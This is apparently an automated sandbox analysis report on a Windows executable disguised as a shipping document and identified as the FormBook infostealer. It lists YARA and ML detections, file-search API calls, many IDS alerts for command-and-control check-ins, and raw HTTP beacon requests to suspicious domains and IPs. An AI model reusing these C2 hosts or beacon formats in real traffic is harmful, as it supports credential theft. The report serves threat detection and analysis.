Windows Analysis Report
SHIPPING DOC_20241107.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.873933070.00000000001B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.436520319.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369012864.0000000000370000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.874124663.0000000000AE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.873906744.0000000000070000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.873918569.0000000000160000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369018456.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.369105032.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.874128931.0000000004EC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: SHIPPING DOC_20241107.exe

Joe Sandbox ML: detected

Source: SHIPPING DOC_20241107.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: ATBroker.pdb2$ source: svchost.exe, 00000002.00000002.369002728.0000000000294000.00000004.00000020.00020000.00000000.sdmp, AhEyCWkdTLz.exe, 00000003.00000002.873933588.00000000004E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: AhEyCWkdTLz.exe, 00000003.00000000.350491590.000000000136E000.00000002.00000001.01000000.00000004.sdmp, AhEyCWkdTLz.exe, 00000005.00000002.874244565.000000000136E000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: ATBroker.pdb source: svchost.exe, 00000002.00000002.369002728.0000000000294000.00000004.00000020.00020000.00000000.sdmp, AhEyCWkdTLz.exe, 00000003.00000002.873933588.00000000004E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SHIPPING DOC_20241107.exe, 00000000.00000003.347728935.0000000002940000.00000004.00001000.00020000.00000000.sdmp, SHIPPING DOC_20241107.exe, 00000000.00000003.347838149.0000000002CC0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.369027051.0000000000880000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.348646748.00000000005B0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.348324365.0000000000450000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.369027051.0000000000A00000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874145495.00000000020D0000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000002.874145495.0000000001F50000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000003.370964344.0000000001DC0000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 00000004.00000003.370658055.0000000001C60000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: AtBroker.exe, 00000004.00000002.874304385.00000000027FC000.00000004.10000000.00040000.00000000.sdmp, AtBroker.exe, 00000004.00000002.873985297.000000000044E000.00000004.00000020.00020000.00000000.sdmp, AhEyCWkdTLz.exe, 00000005.00000000.383610146.000000000339C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.436603581.0000000000E9C000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1449B GetFileAttributesW,FindFirstFileW,FindClose,	0_2_00A1449B
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1C7E8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_00A1C7E8
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1C75D FindFirstFileW,FindClose,	0_2_00A1C75D
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1F021 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A1F021
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1F17E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00A1F17E
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1F47F FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00A1F47F
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A13833 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A13833
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A13B56 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_00A13B56
Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe	Code function: 0_2_00A1BD48 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	0_2_00A1BD48

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49161 -> 156.234.28.94:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49166 -> 38.88.82.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49165 -> 38.88.82.56:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49174 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49177 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49163 -> 38.88.82.56:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49168 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49175 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49176 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49169 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49170 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49171 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49167 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49178 -> 15.197.148.33:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49180 -> 104.21.14.183:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49182 -> 104.21.14.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49185 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49186 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49179 -> 104.21.14.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49189 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49188 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49191 -> 113.20.119.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49195 -> 47.129.103.185:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49198 -> 47.129.103.185:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49183 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49181 -> 104.21.14.183:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49164 -> 38.88.82.56:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49190 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49203 -> 206.119.81.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49216 -> 154.23.184.95:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49218 -> 154.23.184.95:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49212 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49210 -> 142.250.185.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49213 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49222 -> 185.27.134.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49220 -> 185.27.134.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49221 -> 185.27.134.144:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49200 -> 38.47.237.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49207 -> 142.250.185.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49201 -> 38.47.237.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49219 -> 185.27.134.144:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49206 -> 206.119.81.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49192 -> 113.20.119.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49172 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49214 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49184 -> 67.223.117.142:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49193 -> 113.20.119.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49215 -> 154.23.184.95:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49187 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49217 -> 154.23.184.95:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.22:49194 -> 113.20.119.31:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49211 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49208 -> 142.250.185.115:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49173 -> 194.58.112.174:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49199 -> 38.47.237.27:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.22:49209 -> 142.250.185.115:80

Performs DNS queries to domains with low reputation

Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	DNS query: www.kghjkx.xyz
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	DNS query: www.iuyi542.xyz
Source: C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe	DNS query: www.hasthosting.xyz

Source: Joe Sandbox View

IP Address: 45.33.6.223 45.33.6.223

Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US
Source: Joe Sandbox View	ASN Name: WILDCARD-ASWildcardUKLimitedGB WILDCARD-ASWildcardUKLimitedGB

Source: C:\Users\user\Desktop\SHIPPING DOC_20241107.exe

Code function: 0_2_00A22404 InternetReadFile,InternetQueryDataAvailable,InternetReadFile,

0_2_00A22404

Source: C:\Windows\SysWOW64\AtBroker.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\sqlite-dll-win32-x86-3350000[1].zip

Source: global traffic	HTTP traffic detected: GET /s7rc/?Vta=nFypuDtholF&mFptYb=6DRnIJ+Fte42OB/5XetGdeOJ+lOhphxOvMg5DpP/yyjJNxXWq01mRUwFVex1iRDtTe4NkeQHEQ9jZsZ13oeWt1010btNzgPMSC+IqSdDnCJo+Vo0XkUS70+rul7v HTTP/1.1Host: www.jllllbx.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /2021/sqlite-dll-win32-x86-3350000.zip HTTP/1.1User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36Host: www.sqlite.orgConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /fu91/?mFptYb=HVzlbrdNsUKwRMyAkWW6+eYcwGansP/WUf8DIHIYxdtxD6ajZVqGQ6r7bYdvsg7HhzGwO4nUubyDeivvZ5uUZnZTjM5UwBrFB6CCixihWT7Na0ffLjed1FEIbDhA&Vta=nFypuDtholF HTTP/1.1Host: www.college-help.infoAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /usv6/?mFptYb=TgDODAIJaOl5jtT4JVTY+PvwOqFRmlbaFilQ+MjMe2d3S0GP4FMVqMWCvgzOI+CNdjxuqTDbs8bnZHFVmt5Iw+xv7nFgog653DC3dJxayAsmz1wZ3Pvz+hOxoHiw&Vta=nFypuDtholF HTTP/1.1Host: www.binacamasala.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /xprp/?mFptYb=VtQLa3osnF7akoTJd4GrPXLEITF5D20FSH4Ha68GLubc/osER9eykAEgUNChz5U0fhCRjr86/53OttkDG1sp/tuoYRmADukdDHAerdJ8reArgzR0s5PIA9lSC6/k&Vta=nFypuDtholF HTTP/1.1Host: www.marketplacer.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /k47i/?Vta=nFypuDtholF&mFptYb=9kxEYcPO0Qe31MjAFjIcWOncsH25cFhJfOSVnSYcFCRu8P8I16bnvFurvQhgIE0Ki89nSiSy+a0RlMSh3+VYEZE5/A1AoTNj5T9S7+51vpkFoip5Twnd4WVIrXl3 HTTP/1.1Host: www.energyparks.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /9jdk/?mFptYb=WubzzLgyg7H8FuUk5jz2rAc/vuKAZBsVZD6HlZkF1Lv4/cTJ30fLMnj/fJn75AU89YfOY1B4b6fbf9/30+RUdxRnQcqHHPG8fsTR2djr0+RxMWff6QI0kTzUoO97&Vta=nFypuDtholF HTTP/1.1Host: www.yvrkp.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /brrb/?mFptYb=Pyc5xCH2FNTrUJIJc2J3jfwJvYyqOHlrloocc6vOBweawvT0T5Z/uibAsKRSCDSof6T5ol8OWeU6iNzlygZ3OH11Snb2up2hISFSOV0LFhqb+gPNdrhH/8C3bcPF&Vta=nFypuDtholF HTTP/1.1Host: www.flikka.siteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /i4bc/?mFptYb=P7cuULF9RNNpbZDPqKeYgjgLveMcAQaoAqjHQXQRXIOUhYGrthov/zoo0UFBwEOwFncKEQzaM8iNIdWXCLam6BQfA1/n7ZwKXwFy7wLA2+dkqm2zT4ZxPQ5AZvg9&Vta=nFypuDtholF HTTP/1.1Host: www.ladylawher.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /c1ti/?Vta=nFypuDtholF&mFptYb=UWVJg+rBkYQ16c/k/Y1W1sgQfFqH6LNVaa0x99kOYGF7jBYWQyWqo55Eiz0L22BflNyMA4mVt2TvQrx7EMMmoG9cjujHDm+244I0l/r76jr6gTXXvUDzyyGCpqIK HTTP/1.1Host: www.primeproperty.propertyAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /usop/?mFptYb=3GbX3siKa3fb4xoywmO7dLt2gtHeawz6Sbk2xDjabsziN9g8eu79XBc6hQhNCIiJycOeh1EqhE8oaarBESMUTzpbIdTTfy1FzFAf98MVDEsTj+MFe4tIzu4mcpDK&Vta=nFypuDtholF HTTP/1.1Host: www.kghjkx.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /cymd/?mFptYb=SQRZB1HP1/e+i1vXkx65XVrDeSNNnXwFTHYuRC8KH5mDKLD+AhmaLKzef3QT7SVce+tzzUZ1GVC2U2YQK5wN3xroRLUyaPMbLSFxR1aJqBACZHGGUwWsqj7Ua713&Vta=nFypuDtholF HTTP/1.1Host: www.iuyi542.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /1i1f/?mFptYb=dQYajm//Sx1stwXHfz91EBXSzFfr0PyC8xP2ywW2sRY4KNcSndLg20S7F1cIbOwwYrPcKp2sut8M/zk+pKvqB0TIHTxz9Wrof9/BUM8Hdiu6WBCEYXAcnBVSoJf5&Vta=nFypuDtholF HTTP/1.1Host: www.neg21.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /m6se/?Vta=nFypuDtholF&mFptYb=tpLSjTwEMN9ZKyp9qVSTFKrjCn9ygWFWt49InxX861XvXeuMycl5+MP/OGAzrS8FX3YfTT6PzpVF+4Zez3QIzOzSaqsrWwxbsC4SLAepSA8UeSOwbSX7uDAGPo/m HTTP/1.1Host: www.digitaladpro.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /y0sc/?mFptYb=tJdq8Dqw4hWr1P6qEoxHD8OlFm+HKuZ69MCgVLcAx6ZVjDjmpjdFVs/kycs0W1S/0p2sAvBc0lWbLbeb6h4QLTxDUgZUmiCBrM9D9onPOIUOQ3sXksUDVUExaBXH&Vta=nFypuDtholF HTTP/1.1Host: www.loginov.enterprisesAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /1bs4/?Vta=nFypuDtholF&mFptYb=NHlL/20Wj3mxTDCCV6AphceXnl/MtZ4Wk+fSFhy0eU4XSufIixCpoBi/gorAC+VzK2LBCRkbZWFQo0n9IQJ7RFp7WJwc0YsNtE+R3Mg/2HoitvY+uCvmluoRVqvz HTTP/1.1Host: www.wcp95.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /04fb/?mFptYb=EDSq5eKeQ/yn+NstHLyKrItwi72t2/2aV0X8lTwCWtszw4+D6CyS+H/PrcNES324cNMrQPmMtrZnBxvMQyG2MZhT0iJG1CcvdKppxy///uoLHwLjuGAXtCom68+z&Vta=nFypuDtholF HTTP/1.1Host: www.hasthosting.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.5Connection: closeUser-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36

Source: global traffic	DNS traffic detected: DNS query: www.jllllbx.top
Source: global traffic	DNS traffic detected: DNS query: www.sqlite.org
Source: global traffic	DNS traffic detected: DNS query: www.college-help.info
Source: global traffic	DNS traffic detected: DNS query: www.binacamasala.com
Source: global traffic	DNS traffic detected: DNS query: www.marketplacer.top
Source: global traffic	DNS traffic detected: DNS query: www.energyparks.net
Source: global traffic	DNS traffic detected: DNS query: www.yvrkp.top
Source: global traffic	DNS traffic detected: DNS query: www.flikka.site
Source: global traffic	DNS traffic detected: DNS query: www.ladylawher.shop
Source: global traffic	DNS traffic detected: DNS query: www.primeproperty.property
Source: global traffic	DNS traffic detected: DNS query: www.kghjkx.xyz
